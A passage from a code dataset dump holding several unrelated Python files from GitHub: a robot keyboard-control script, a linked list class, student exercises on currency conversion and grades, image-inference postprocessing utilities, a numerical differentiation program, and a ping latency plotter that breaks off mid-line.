up_released():\n# go_forward = False\n# servo.setTarget(drive_target,neutral)\n#\n# #go backwards -- driving\n# def down_pressed():\n# go_backward = True\n# servo.setTarget(drive_target,backward_speed)\n# def down_released():\n# go_backward = False\n# servo.setTarget(drive_target,neutral)\n\n# #turn left -- driving\n# def left_pressed():\n# servo.setTarget(turn_target,7000)\n# def left_released():\n# servo.setTarget(turn_target,neutral)\n#\n#\n#\n# #turn right -- driving\n# def right_pressed():\n# servo.setTarget(turn_target,5000)\n# def right_released():\n# servo.setTarget(turn_target,neutral)\n\n# #set driving speed to speed 1\n# def one_pressed():\n# global forward_speed\n# global backward_speed\n#\n# forward_speed = one_forward\n# backward_speed = one_backward\n# if go_forward:\n# up_released()\n# up_pressed()\n# elif go_backward:\n# down_released()\n# down_pressed()\n#\n#\n#\n# #set driving speed to speed 2\n# def two_pressed():\n# global forward_speed\n# global backward_speed\n# forward_speed = two_forward\n# backward_speed = two_backward\n# if go_forward:\n# up_released()\n# up_pressed()\n# elif go_backward:\n# down_released()\n# down_pressed()\n#\n# #set driving speed to speed 3\n# def three_pressed():\n# forward_speed = three_forward\n# backward_speed = three_backward\n# if go_forward:\n# up_released()\n# up_pressed()\n# elif go_backward:\n# down_released()\n# down_pressed()\n#\n# #get value of key pressed, execute correct function\n# def key_pressed(e):\n# key = e.keysym\n# print(key)\n# if(key == 'Escape'):\n# os.system('xset r on')\n# sys.exit(0)\n# elif(key == 'Up'):\n# up_pressed()\n# elif(key == 'Down'):\n# down_pressed()\n# elif(key == 'Left'):\n# left_pressed()\n# elif(key == 'Right'):\n# right_pressed()\n# elif(key == 'w'):\n# w_pressed()\n# elif(key == 's'):\n# s_pressed()\n# elif(key == 'a'):\n# a_pressed()\n# elif(key == 'd'):\n# d_pressed()\n# elif(key == 'q'):\n# q_pressed()\n# elif(key == 'e'):\n# e_pressed()\n# elif(key == 'space'):\n# space_pressed()\n# elif(key == '1'):\n# one_pressed()\n# elif(key == '2'):\n# two_pressed()\n# elif(key == '3'):\n# three_pressed()\n#\n# #get value of key released, execute correct function\n# def key_released(e):\n# key = e.keysym\n# if(key == 'Up'):\n# up_released()\n# elif(key == 'Down'):\n# down_released()\n# elif(key == 'Left'):\n# left_released()\n# elif(key == 'Right'):\n# right_released()\n# elif(key == 'w'):\n# w_released()\n# elif(key == 's'):\n# s_released()\n# elif(key == 'a'):\n# a_released()\n# elif(key == 'd'):\n# d_released()\n# elif(key == 'q'):\n# q_released()\n# elif(key == 'e'):\n# e_released()\n","repo_name":"SpencerCornish/CSCI455-Robotics","sub_path":"move.py","file_name":"move.py","file_ext":"py","file_size_in_byte":9899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"14792590230","text":"from dataStruct.node import SingleLinkNode\nfrom dataStruct.abstract import LinkList\n\n\nclass SingleLinkList(LinkList):\n def __init__(self):\n super(SingleLinkList, self).__init__()\n\n # 初始化头节点\n self.head = SingleLinkNode()\n\n def __str__(self):\n string = 'head -> '\n\n if not self.isEmpty():\n current = self.head.next\n while current is not None:\n string += str(current.val) + ' -> '\n current = current.next\n\n return string\n\n def addAtIndex(self, index: int, val: object) -> bool:\n \"\"\"\n 将新元素插入第index位之后\n index范围是[0, length]\n\n 表为空:作为第一个元素\n 表非空 && 未越界:插入指定位置并返回True,否则返回False\n\n Time: O(n)\n Space: O(1)\n\n :param index: 插入位置\n :param val: 新节点的值\n :return: 是否插入成功\n \"\"\"\n\n if index < 0 or index > self._length:\n # 表非空 && 越界 -> 插入失败\n if not self.isEmpty():\n return False\n\n # 表空 && 越界 -> 插入头节点\n else:\n index = 0\n\n new_node = SingleLinkNode(val)\n\n # 下标从0开始,current指针位于头节点上\n # 移动current指针至index\n current = self.head\n for i in range(0, index):\n current = current.next\n\n new_node.next = current.next\n current.next = new_node\n\n self._set_length += 1\n return True\n\n def addAtHead(self, val: object) -> None:\n \"\"\"\n 在表头节点后插入节点\n\n Time: O(1)\n Space: O(1)\n\n :param val: 新节点值\n \"\"\"\n new_node = SingleLinkNode(val)\n\n new_node.next = self.head.next\n self.head.next = new_node\n\n self._set_length += 1\n\n def addAtTail(self, val: object) -> None:\n \"\"\"\n 在链表结尾插入节点\n\n Time: O(n)\n Space: O(1)\n\n :param val: 新节点值\n \"\"\"\n new_node = SingleLinkNode(val)\n\n # 移动current指针至最后一个节点\n current = self.head\n while current.next is not None:\n current = current.next\n\n current.next = new_node\n\n self._set_length += 1\n\n def delete(self, index: int) -> bool:\n \"\"\"\n 删除指定位置的节点\n\n 表为空:返回True\n 表非空 && 未越界:删除指定位置元素并返回True,否则返回False\n\n Time: O(n)\n Space: O(1)\n\n :param index: 待删除节点的位置\n :return: 是否删除成功\n \"\"\"\n if self.isEmpty():\n return True\n\n if index < 1 or index > self._length:\n return False\n\n else:\n # current指针从头节点出发,移动至index-1\n current = self.head\n for i in range(0, index-1):\n current = current.next\n\n current.next = current.next.next\n\n self._set_length -= 1\n return True\n\n def display(self) -> None:\n print('head -> ', end='')\n\n if not self.isEmpty():\n current = self.head.next\n while current is not None:\n print(current.val, '-> ', end='')\n current = current.next\n\n print()","repo_name":"Hipkevin/pat","sub_path":"dataStruct/singleLinkList.py","file_name":"singleLinkList.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"24708352556","text":"\"\"\"\n2. 使用函数实现,按照1美元=6人民币汇率编写一个美元和人民币的双向兑换程序\n•\t说明\n•\t设计两个函数\n•\tRMB2Dollar():人民币转美元函数\n•\tDollar2RMB():美元转人民币函数\n\"\"\"\ndef RMB2Dollar(RMB):\n \"\"\"人民币转美元函数\"\"\"\n exchangeRate = 0.1570\n Dollar = exchangeRate*RMB\n return Dollar\n\ndef Dollar2RMB(Dollar):\n \"\"\"美元转人民币函数\"\"\"\n exchangeRate = 6.3689\n RMB = exchangeRate*Dollar\n return RMB\nrmb = 100\ndoll = RMB2Dollar(rmb)\nprint('100 RMB can exchange',doll,'$' )\ndoll = 100\nrmb = Dollar2RMB(doll)\nprint('100 Dollar can exchange',rmb,'¥' )\n# =========================\n# 结果:\n# 100 RMB can exchange 15.7 $\n# 100 Dollar can exchange 636.89 ¥","repo_name":"Cheng81112/PythonLearning","sub_path":"python_learning_3_28_class_1/1120211201_上机作业_2.py","file_name":"1120211201_上机作业_2.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"36434573476","text":"import multiprocessing\nfrom copy import deepcopy\nfrom multiprocessing import Pool, cpu_count\nfrom time import perf_counter\nfrom typing import List, Tuple\n\nimport cv2\nimport numpy as np\n\nfrom inference.core.env import DISABLE_PREPROC_STATIC_CROP\n\n\ndef clip_boxes(boxes, shape):\n \"\"\"\n Clip the bounding box coordinates to lie within the image dimensions.\n\n Args:\n boxes (np.ndarray): An array of bounding boxes, shape (n, 4).\n shape (Tuple[int, int]): The shape of the image (height, width).\n \"\"\"\n boxes[:, [0, 2]] = boxes[:, [0, 2]].clip(0, shape[1]) # x1, x2\n boxes[:, [1, 3]] = boxes[:, [1, 3]].clip(0, shape[0]) # y1, y2\n\n\ndef clip_point(point, shape):\n \"\"\"\n Clip a point to lie within the given shape.\n\n Args:\n point (Tuple[int, int]): The coordinates of the point (x, y).\n shape (Tuple[int, int]): The shape of the region (width, height).\n\n Returns:\n Tuple[int, int]: The clipped coordinates of the point.\n \"\"\"\n x = min(point[0], shape[0])\n x = max(x, 0)\n y = min(point[1], shape[1])\n y = max(y, 0)\n return (x, y)\n\n\ndef cosine_similarity(a, b):\n \"\"\"\n Compute the cosine similarity between two vectors.\n\n Args:\n a (np.ndarray): Vector A.\n b (np.ndarray): Vector B.\n\n Returns:\n float: Cosine similarity between vectors A and B.\n \"\"\"\n return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))\n\n\ndef crop_mask(masks, boxes):\n \"\"\"\n \"Crop\" predicted masks by zeroing out everything not in the predicted bbox.\n Vectorized by Chong (thanks Chong).\n\n Args:\n - masks should be a size [h, w, n] tensor of masks\n - boxes should be a size [n, 4] tensor of bbox coords in relative point form\n \"\"\"\n\n n, h, w = masks.shape\n x1, y1, x2, y2 = np.split(boxes[:, :, None], 4, 1) # x1 shape(1,1,n)\n r = np.arange(w, dtype=x1.dtype)[None, None, :] # rows shape(1,w,1)\n c = np.arange(h, dtype=x1.dtype)[None, :, None] # cols shape(h,1,1)\n\n masks = masks * ((r >= x1) * (r < x2) * (c >= y1) * (c < y2))\n return masks\n\n\ndef mask2poly_(mask):\n \"\"\"\n Find contours in the mask and return them as a float32 array.\n\n Args:\n mask (np.ndarray): A binary mask.\n\n Returns:\n np.ndarray: Contours represented as a float32 array.\n \"\"\"\n contours = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[0]\n if contours:\n contours = np.array(\n contours[np.array([len(x) for x in contours]).argmax()]\n ).reshape(-1, 2)\n else:\n contours = np.zeros((0, 2))\n return contours.astype(\"float32\")\n\n\ndef mask2poly(masks):\n \"\"\"Converts binary masks to polygonal segments.\n\n Args:\n masks (numpy.ndarray): A set of binary masks, where masks are multiplied by 255 and converted to uint8 type.\n\n Returns:\n list: A list of segments, where each segment is obtained by converting the corresponding mask.\n \"\"\"\n segments = []\n masks = (masks * 255.0).astype(np.uint8)\n for mask in masks:\n segments.append(mask2poly_(mask))\n return segments\n\n\ndef generate_transform_from_proc(orig_shape, preproc):\n \"\"\"Generates a transformation based on preprocessing configuration.\n\n Args:\n orig_shape (tuple): The original shape of the object (e.g., image).\n preproc (dict): Preprocessing configuration dictionary, containing information such as static cropping.\n\n Returns:\n tuple: A tuple containing the shift in the x and y directions, and the updated original shape after cropping.\n \"\"\"\n if (\n \"static-crop\" in preproc.keys()\n and not DISABLE_PREPROC_STATIC_CROP\n and preproc[\"static-crop\"][\"enabled\"] == True\n ):\n x_min = preproc[\"static-crop\"][\"x_min\"] / 100\n y_min = preproc[\"static-crop\"][\"y_min\"] / 100\n x_max = preproc[\"static-crop\"][\"x_max\"] / 100\n y_max = preproc[\"static-crop\"][\"y_max\"] / 100\n else:\n x_min = 0\n y_min = 0\n x_max = 1\n y_max = 1\n crop_shift_x, crop_shift_y = (\n int(x_min * orig_shape[0]),\n int(y_min * orig_shape[1]),\n )\n cropped_percent_x = x_max - x_min\n cropped_percent_y = y_max - y_min\n orig_shape = (\n orig_shape[0] * cropped_percent_x,\n orig_shape[1] * cropped_percent_y,\n )\n return (crop_shift_x, crop_shift_y), orig_shape\n\n\ndef postprocess_predictions(\n predictions: List[List[List[float]]],\n infer_shape: Tuple[int, int],\n img_dims: List[Tuple[int, int]],\n preproc: dict,\n resize_method: str = \"Stretch to\",\n) -> List[List[List[float]]]:\n \"\"\"Postprocesses each patch of detections by scaling them to the original image coordinates and by shifting them based on a static crop preproc (if applied).\n\n Args:\n predictions (List[List[List[float]]]): The predictions output from NMS, indices are: batch x prediction x [x1, y1, x2, y2, ...]\n infer_shape (Tuple[int, int]): The shape of the inference image.\n img_dims (List[Tuple[int, int]]): The dimensions of the original image for each batch, indices are: batch x [ width, height ]\n preproc (dict): Preprocessing configuration dictionary.\n resize_method (str, optional): Resize method for image. Defaults to \"Stretch to\".\n\n Returns:\n List[List[List[float]]]: The scaled and shifted predictions, indices are: batch x prediction x [x1, y1, x2, y2, ...]\n \"\"\"\n\n # Get static crop params\n scaled_predictions = []\n # Loop through batches\n for i, batch_predictions in enumerate(predictions):\n if len(batch_predictions) == 0:\n scaled_predictions.append([])\n continue\n np_batch_predictions = np.array(batch_predictions)\n # Get coords from predictions (x1,y1,x2,y2)\n coords = np_batch_predictions[:, :4]\n\n # Shape before resize to infer shape\n orig_shape = img_dims[i][-1::-1]\n # Adjust shape and get shift pased on static crop preproc\n (crop_shift_x, crop_shift_y), orig_shape = generate_transform_from_proc(\n orig_shape, preproc\n )\n if resize_method == \"Stretch to\":\n scale_height = orig_shape[1] / infer_shape[1]\n scale_width = orig_shape[0] / infer_shape[0]\n coords[:, 0] *= scale_width\n coords[:, 2] *= scale_width\n coords[:, 1] *= scale_height\n coords[:, 3] *= scale_height\n\n elif (\n resize_method == \"Fit (black edges) in\"\n or resize_method == \"Fit (white edges) in\"\n ):\n # Undo scaling and padding from letterbox resize preproc operation\n scale = min(infer_shape[0] / orig_shape[0], infer_shape[1] / orig_shape[1])\n inter_w = int(orig_shape[0] * scale)\n inter_h = int(orig_shape[1] * scale)\n\n pad_x = (infer_shape[0] - inter_w) / 2\n pad_y = (infer_shape[1] - inter_h) / 2\n\n coords[:, 0] -= pad_x\n coords[:, 2] -= pad_x\n coords[:, 1] -= pad_y\n coords[:, 3] -= pad_y\n\n coords /= scale\n\n coords[:, 0] = np.round_(\n np.clip(coords[:, 0], a_min=0, a_max=orig_shape[0])\n ).astype(int)\n coords[:, 2] = np.round_(\n np.clip(coords[:, 2], a_min=0, a_max=orig_shape[0])\n ).astype(int)\n coords[:, 1] = np.round_(\n np.clip(coords[:, 1], a_min=0, a_max=orig_shape[1])\n ).astype(int)\n coords[:, 3] = np.round_(\n np.clip(coords[:, 3], a_min=0, a_max=orig_shape[1])\n ).astype(int)\n\n # Apply static crop prostproc shift\n coords[:, 0] += crop_shift_x\n coords[:, 2] += crop_shift_x\n coords[:, 1] += crop_shift_y\n coords[:, 3] += crop_shift_y\n\n np_batch_predictions[:, :4] = coords\n scaled_predictions.append(np_batch_predictions.tolist())\n return scaled_predictions\n\n\ndef process_mask_accurate(protos, masks_in, bboxes, shape):\n \"\"\"Returns masks that are the size of the original image.\n\n Args:\n protos (numpy.ndarray): Prototype masks.\n masks_in (numpy.ndarray): Input masks.\n bboxes (numpy.ndarray): Bounding boxes.\n shape (tuple): Target shape.\n\n Returns:\n numpy.ndarray: Processed masks.\n \"\"\"\n c, mh, mw = protos.shape # CHW\n masks = protos.astype(np.float32)\n masks = masks.reshape((c, -1))\n masks = masks_in @ masks\n masks = sigmoid(masks)\n masks = masks.reshape((-1, mh, mw))\n gain = min(mh / shape[0], mw / shape[1]) # gain = old / new\n pad = (mw - shape[1] * gain) / 2, (mh - shape[0] * gain) / 2 # wh padding\n top, left = int(pad[1]), int(pad[0]) # y, x\n bottom, right = int(mh - pad[1]), int(mw - pad[0])\n masks = masks[:, top:bottom, left:right]\n\n # Order = 1 -> bilinear\n if len(masks.shape) == 2:\n masks = np.expand_dims(masks, axis=0)\n masks = masks.transpose((1, 2, 0))\n masks = cv2.resize(masks, (shape[1], shape[0]), cv2.INTER_LINEAR)\n if len(masks.shape) == 2:\n masks = np.expand_dims(masks, axis=2)\n masks = masks.transpose((2, 0, 1))\n masks = crop_mask(masks, bboxes)\n masks[masks < 0.5] = 0\n return masks\n\n\ndef process_mask_tradeoff(protos, masks_in, bboxes, shape, tradeoff_factor):\n \"\"\"Returns masks that are the size of the original image with a tradeoff factor applied.\n\n Args:\n protos (numpy.ndarray): Prototype masks.\n masks_in (numpy.ndarray): Input masks.\n bboxes (numpy.ndarray): Bounding boxes.\n shape (tuple): Target shape.\n tradeoff_factor (float): Tradeoff factor for resizing masks.\n\n Returns:\n numpy.ndarray: Processed masks.\n \"\"\"\n c, mh, mw = protos.shape # CHW\n masks = protos.astype(np.float32)\n masks = masks.reshape((c, -1))\n masks = masks_in @ masks\n masks = sigmoid(masks)\n masks = masks.reshape((-1, mh, mw))\n gain = min(mh / shape[0], mw / shape[1]) # gain = old / new\n pad = (mw - shape[1] * gain) / 2, (mh - shape[0] * gain) / 2 # wh padding\n top, left = int(pad[1]), int(pad[0]) # y, x\n bottom, right = int(mh - pad[1]), int(mw - pad[0])\n masks = masks[:, top:bottom, left:right]\n\n # Order = 1 -> bilinear\n if len(masks.shape) == 2:\n masks = np.expand_dims(masks, axis=0)\n masks = masks.transpose((1, 2, 0))\n ih, iw = shape\n h = int(mh * (1 - tradeoff_factor) + ih * tradeoff_factor)\n w = int(mw * (1 - tradeoff_factor) + iw * tradeoff_factor)\n size = (h, w)\n if tradeoff_factor != 0:\n masks = cv2.resize(masks, size, cv2.INTER_LINEAR)\n if len(masks.shape) == 2:\n masks = np.expand_dims(masks, axis=2)\n\n masks = masks.transpose((2, 0, 1))\n c, mh, mw = masks.shape\n downsampled_boxes = deepcopy(bboxes)\n downsampled_boxes[:, 0] *= mw / iw\n downsampled_boxes[:, 2] *= mw / iw\n downsampled_boxes[:, 1] *= mh / ih\n downsampled_boxes[:, 3] *= mh / ih\n masks = crop_mask(masks, downsampled_boxes)\n masks[masks < 0.5] = 0\n return masks\n\n\ndef process_mask_fast(protos, masks_in, bboxes, shape):\n \"\"\"Returns masks in their original size.\n\n Args:\n protos (numpy.ndarray): Prototype masks.\n masks_in (numpy.ndarray): Input masks.\n bboxes (numpy.ndarray): Bounding boxes.\n shape (tuple): Target shape.\n\n Returns:\n numpy.ndarray: Processed masks.\n \"\"\"\n t1 = perf_counter()\n c, mh, mw = protos.shape # CHW\n ih, iw = shape\n masks = protos.astype(np.float32)\n masks = masks.reshape((c, -1))\n masks = masks_in @ masks\n masks = sigmoid(masks)\n masks = masks.reshape((-1, mh, mw))\n gain = min(mh / shape[0], mw / shape[1]) # gain = old / new\n pad = (mw - shape[1] * gain) / 2, (mh - shape[0] * gain) / 2 # wh padding\n top, left = int(pad[1]), int(pad[0]) # y, x\n bottom, right = int(mh - pad[1]), int(mw - pad[0])\n masks = masks[:, top:bottom, left:right]\n\n downsampled_boxes = deepcopy(bboxes)\n downsampled_boxes[:, 0] *= mw / iw\n downsampled_boxes[:, 2] *= mw / iw\n downsampled_boxes[:, 1] *= mh / ih\n downsampled_boxes[:, 3] *= mh / ih\n\n masks = crop_mask(masks, downsampled_boxes)\n masks[masks < 0.5] = 0\n return masks\n\n\ndef scale_boxes(\n img1_shape, boxes, img0_shape, ratio_pad=None, resize_method=\"Stretch to\"\n):\n \"\"\"Scales boxes according to a specified resize method.\n\n Args:\n img1_shape (tuple): Shape of the first image.\n boxes (numpy.ndarray): Bounding boxes to scale.\n img0_shape (tuple): Shape of the second image.\n ratio_pad (tuple, optional): Padding ratio. Defaults to None.\n resize_method (str, optional): Resize method for image. Defaults to \"Stretch to\".\n\n Returns:\n numpy.ndarray: Scaled boxes.\n \"\"\"\n if resize_method == \"Stretch to\":\n height_ratio = img0_shape[0] / img1_shape[0]\n width_ratio = img0_shape[1] / img1_shape[1]\n boxes[:, [0, 2]] *= width_ratio\n boxes[:, [1, 3]] *= height_ratio\n elif resize_method in [\"Fit (black edges) in\", \"Fit (white edges) in\"]:\n # Rescale boxes (xyxy) from img1_shape to img0_shape\n if ratio_pad is None: # calculate from img0_shape\n gain = min(\n img1_shape[0] / img0_shape[0], img1_shape[1] / img0_shape[1]\n ) # gain = old / new\n pad = (\n (img1_shape[1] - img0_shape[1] * gain) / 2,\n (img1_shape[0] - img0_shape[0] * gain) / 2,\n ) # wh padding\n else:\n gain = ratio_pad[0][0]\n pad = ratio_pad[1]\n\n boxes[:, [0, 2]] -= pad[0] # x padding\n boxes[:, [1, 3]] -= pad[1] # y padding\n boxes[:, :4] /= gain\n clip_boxes(boxes, img0_shape)\n return boxes\n\n\ndef scale_polys(\n img1_shape, polys, img0_shape, preproc, ratio_pad=None, resize_method=\"Stretch to\"\n):\n \"\"\"Scales and shifts polygons based on the given image shapes and preprocessing method.\n\n This function performs polygon scaling and shifting based on the specified resizing method and\n pre-processing steps. The polygons are transformed according to the ratio and padding between two images.\n\n Args:\n img1_shape (tuple of int): Shape of the target image (height, width).\n polys (list of list of tuple): List of polygons, where each polygon is represented by a list of (x, y) coordinates.\n img0_shape (tuple of int): Shape of the source image (height, width).\n preproc (object): Preprocessing details used for generating the transformation.\n ratio_pad (tuple, optional): Ratio and padding information for resizing. Defaults to None.\n resize_method (str, optional): Resizing method, either \"Stretch to\", \"Fit (black edges) in\", or \"Fit (white edges) in\". Defaults to \"Stretch to\".\n\n Returns:\n list of list of tuple: A list of shifted and scaled polygons.\n \"\"\"\n (crop_shift_x, crop_shift_y), img0_shape = generate_transform_from_proc(\n img0_shape, preproc\n )\n new_polys = []\n if resize_method == \"Stretch to\":\n height_ratio = img0_shape[0] / img1_shape[0]\n width_ratio = img0_shape[1] / img1_shape[1]\n for poly in polys:\n poly = [(p[0] * width_ratio, p[1] * height_ratio) for p in poly]\n new_polys.append(poly)\n elif resize_method in [\"Fit (black edges) in\", \"Fit (white edges) in\"]:\n # Rescale boxes (xyxy) from img1_shape to img0_shape\n if ratio_pad is None: # calculate from img0_shape\n gain = min(\n img1_shape[0] / img0_shape[0], img1_shape[1] / img0_shape[1]\n ) # gain = old / new\n pad = (\n (img1_shape[1] - img0_shape[1] * gain) / 2,\n (img1_shape[0] - img0_shape[0] * gain) / 2,\n ) # wh padding\n else:\n gain = ratio_pad[0][0]\n pad = ratio_pad[1]\n for poly in polys:\n poly = [((p[0] - pad[0]) / gain, (p[1] - pad[1]) / gain) for p in poly]\n new_polys.append(poly)\n shifted_polys = []\n for poly in new_polys:\n poly = [(p[0] + crop_shift_x, p[1] + crop_shift_y) for p in poly]\n shifted_polys.append(poly)\n return shifted_polys\n\n\ndef sigmoid(x):\n \"\"\"Computes the sigmoid function for the given input.\n\n The sigmoid function is defined as:\n f(x) = 1 / (1 + exp(-x))\n\n Args:\n x (float or numpy.ndarray): Input value or array for which the sigmoid function is to be computed.\n\n Returns:\n float or numpy.ndarray: The computed sigmoid value(s).\n \"\"\"\n return 1 / (1 + np.exp(-x))\n","repo_name":"saifrahmed/inference","sub_path":"inference/core/utils/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":16565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"40535852480","text":"user = input(\"Ad Soyad: \") # kullanicidan giris alinir,\r\nstudent_no = input(\"Ogrenci no:\")\r\nlist = [] # girilen ders isimlerini tutmak icin bos liste olusturulur,\r\nlist_not = [] # girilen ders NOTLARI ni tutmak icin bos liste olusturulur,\r\ncount = 0 # while dongusunu yeteri sayi giris yapildiginda while dongusunu durdumak icin sayac olusturulur,\r\n\r\nwhile count < 4: # 4 giris istendigi icin <4 ile dongunun durmasi saglanir,\r\n count += 1 # her donuste sayac 1 artirilir,\r\n\r\n one_les1 = input('Dersin adini girin: ') # kullanicidan ders adi istenir,\r\n # girilen dersin vize notu istenir,\r\n one_les_vize = int(input(f'{one_les1} vize notu:'))\r\n # girilen dersin final notu istenir,\r\n one_les_final = int(input(f'{one_les1} final notu:'))\r\n # vizenin %40 ile finalin %60 hesaplanarak toplanir arithmetic isimli degiskene atilir,\r\n arithmetic_ = (one_les_vize*40/100 + one_les_final*60/100)\r\n # .append ile girilen ders ismi lis isimli listye eklenir,\r\n list.append(one_les1)\r\n # .append ile arithmetic degiskenindeki not list_not isimli listeye eklenir,\r\n list_not.append(arithmetic_)\r\n\r\nlist_not_len = len(list_not) # len ile list_not daki item sayisi tespit edilir\r\n# for....range ile item sayisi kadar i degiskenine sirayla atanmasi saglanir,\r\nfor i in range(list_not_len):\r\n if list_not[i] < 50: # if....[] list_not i. index <50 ise\r\n # yazilmasi saglanir. (f string i. index ders adi : i. index not\r\n print(f'{list[i]}:{list_not[i]} Kaldi.')\r\n else:\r\n # >50 ise (f string i. index ders adi : i. index not)\r\n print(f'{list[i]}:{list_not[i]} Gecti.')\r\n","repo_name":"EmrahNL55/Class4-PythonModule-Week1","sub_path":"odev2.py","file_name":"odev2.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"tr","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"16335665598","text":"from decimal import Decimal\n\nfrom common.math.function import Function\nfrom common.math.segment import Segment\nfrom common.tables.assistive import create_value_table, table_with_fields, print_table_with_title, \\\n table_with_transformation\nfrom common.tables.table import Table\nfrom common.utils import to_italic\nfrom task3.subtask2.cli import request_parameters\nfrom task3.subtask2.numerical_differentiation import calculate_first_derivatives, calculate_second_derivatives\n\nTITLE = \"НАХОЖДЕНИЕ ПРОИЗВОДНЫХ ТАБЛИЧНО-ЗАДАННОЙ ФУНКЦИИ ПО ФОРМУЛАМ ЧИСЛЕННОГО ДИФФЕРЕНЦИРОВАНИЯ\"\n\nVARIANT = 8\nK = VARIANT % 5 + 1\nCOEFFICIENT_OF_K = 1.5\nFUNCTION_STR = f\"e^({COEFFICIENT_OF_K}*{K}*x)\"\nFUNCTION_PYTHON = FUNCTION_STR.replace(\"e^\", \"exp\")\nCOEFFICIENT = Decimal(COEFFICIENT_OF_K * K)\n\nRESULT_TABLE_FIELDS = [to_italic(\"x\"),\n to_italic(\"f(x)\"),\n to_italic(\"f'(x)чд\"),\n f\"\"\"|{to_italic(\"f'(x)т - f'(x)чд\")}|\"\"\",\n f\"\"\"относительная погр-ть для {to_italic(\"f'\")}\"\"\",\n to_italic(\"f''(x)чд\"),\n f\"\"\"|{to_italic(\"f''(x)т - f''(x)чд\")}|\"\"\",\n f\"\"\"относительная погр-ть для {to_italic(\"f''\")}\"\"\"]\n\n\ndef abs_error(precise: Decimal, approximate: Decimal) -> Decimal:\n return abs(precise - approximate)\n\n\ndef relative_error(abs_err: Decimal, approximate: Decimal) -> Decimal | None:\n if approximate.is_zero():\n return None\n return abs_err / abs(approximate)\n\n\ndef create_result_table(table: Table) -> Table:\n points = table.columns[0]\n f_values = table.columns[1]\n\n step = points[1] - points[0]\n\n derivatives1 = calculate_first_derivatives(f_values, step)\n derivatives2 = calculate_second_derivatives(f_values, step)\n\n result_table = Table(RESULT_TABLE_FIELDS)\n\n for index in range(len(points)):\n point = points[index]\n f_value = f_values[index]\n\n derivative1 = derivatives1[index]\n abs_error1 = abs_error(COEFFICIENT * f_value, derivative1)\n relative_error1 = relative_error(abs_error1, derivative1)\n\n derivative2 = derivatives2[index]\n abs_error2 = None if derivative2 is None else abs_error(COEFFICIENT * COEFFICIENT * f_value, derivative2)\n relative_error2 = None if derivative2 is None else relative_error(abs_error2, derivative2)\n\n row = [point, f_value, derivative1, abs_error1, relative_error1, derivative2, abs_error2, relative_error2]\n result_table.add_row(row)\n\n return result_table\n\n\ndef main():\n print(TITLE)\n print()\n print(to_italic(f\"f(x) = {FUNCTION_STR}\"))\n print()\n\n while True:\n m, a, h = request_parameters()\n\n segment = Segment(a, a + m * h)\n value_table = create_value_table(Function(FUNCTION_PYTHON), segment.equidistant_points(m))\n\n print_table_with_title(\"Таблица значений функции\",\n table_with_fields(value_table, list(map(to_italic, value_table.field_names))))\n\n result_table = create_result_table(value_table)\n result_table_to_print = table_with_transformation(result_table, lambda item: \"—\" if item is None else item)\n print_table_with_title(\"Таблица результатов\", result_table_to_print)\n\n print(\"Ввод новых значений параметров\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"PavelSaltykov/Methods-of-Computation","sub_path":"task3/subtask2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"72307243565","text":"# =============================================================================\r\n# Author: BM Dierks\r\n# Created: 2020/09/12\r\n# Last Edit: 2020/09/13\r\n# Description: The intended purpose of this program is to ping a given website \r\n# (google in this case). The returned pings are then graphed in \r\n# order to observed the stability of the connection.\r\n#\r\n# Requires pythonping to be installed in root directory.\r\n# =============================================================================\r\n\r\nfrom pythonping import ping\r\nimport matplotlib.pyplot as plot\r\nimport numpy as np\r\nfrom datetime import datetime\r\n\r\ntimeStart = datetime.now()\r\n# Variables to set\r\n# Threshold below which latency is acceptable in ms\r\nThreshold = 80\r\n\r\n# Amount of pings to send\r\npingCount = 2000\r\nx = range(0,pingCount)\r\n\r\n# Size of package to send\r\npackage = 64\r\n\r\n# Maximum timout time in sec\r\ntimeout = 2\r\n\r\n# Initiates variables\r\nx1 = []\r\ny = []\r\nyThreshold = []\r\nyOver = []\r\noverVal = []\r\nfutFlag = False\r\n\r\n# Loop to ping server\r\nfor i in x:\r\n latency = ping('www.google.com',size = (package-8) ,count = 1, timeout = timeout)\r\n CurrentPing = latency.rtt_min_ms\r\n yThreshold.append(Threshold)\r\n y.append(CurrentPing)\r\n if CurrentPing < Threshold:\r\n yOver.append(None)\r\n else:\r\n yOver.append(CurrentPing)\r\n\r\nrunTime = datetime.now()-timeStart\r\n\r\n# Write pings above threshold to new array\r\nfor i in x:\r\n if yOver[i]:\r\n if i !=0:\r\n yOver[i-1] = y[i-1]\r\n if i !=len(yOver)-1:\r\n futFlag = True\r\n elif futFlag and not yOver[i]:\r\n yOver[i] = y[i]\r\n futFlag = False\r\n\r\nstdDev=round(np.std(y), 2)\r\nrunTimeSec = runTime.seconds+runTime.microseconds*1e-6\r\n\r\n# Print out network statistics\r\nprint (\"\\nPing Information:\\n------------------\")\r\nprint (\"Maximum Latency\\t\\t: \\t\", max(y), \"ms\\nMinimum Latency\\t\\t: \\t\", min(y), \"ms\\nAverage Latency\\t\\t: \\t\", round(np.average(y),2),\"ms\")\r\nprint (\"Standard Deviation\\t:\\t\", stdDev,\"ms\")\r\nprint (\"Total Runtime\\t\\t: \\t\", runTime.seconds,\"s\", int(round(runTime.microseconds/10000, 0)*10),\"ms\")\r\nprint (\"Average Speed\\t\\t: \\t\", round(8*pingCount*package/pow(1024,2)*runTimeSec,2),\"Mbps\")\r\n\r\n\r\n# Plot results\r\nplot.figure(figsize=(15, 10))\r\nplot.plot(x,yThreshold,'g')\r\nplot.plot(x,y, 'b')\r\nplot.plot(x,yOver, 'r')\r\nplot.xlabel(\"Pings[#]\")\r\n#secax = ax.secondary_xaxis('top')#, functions=(forward, 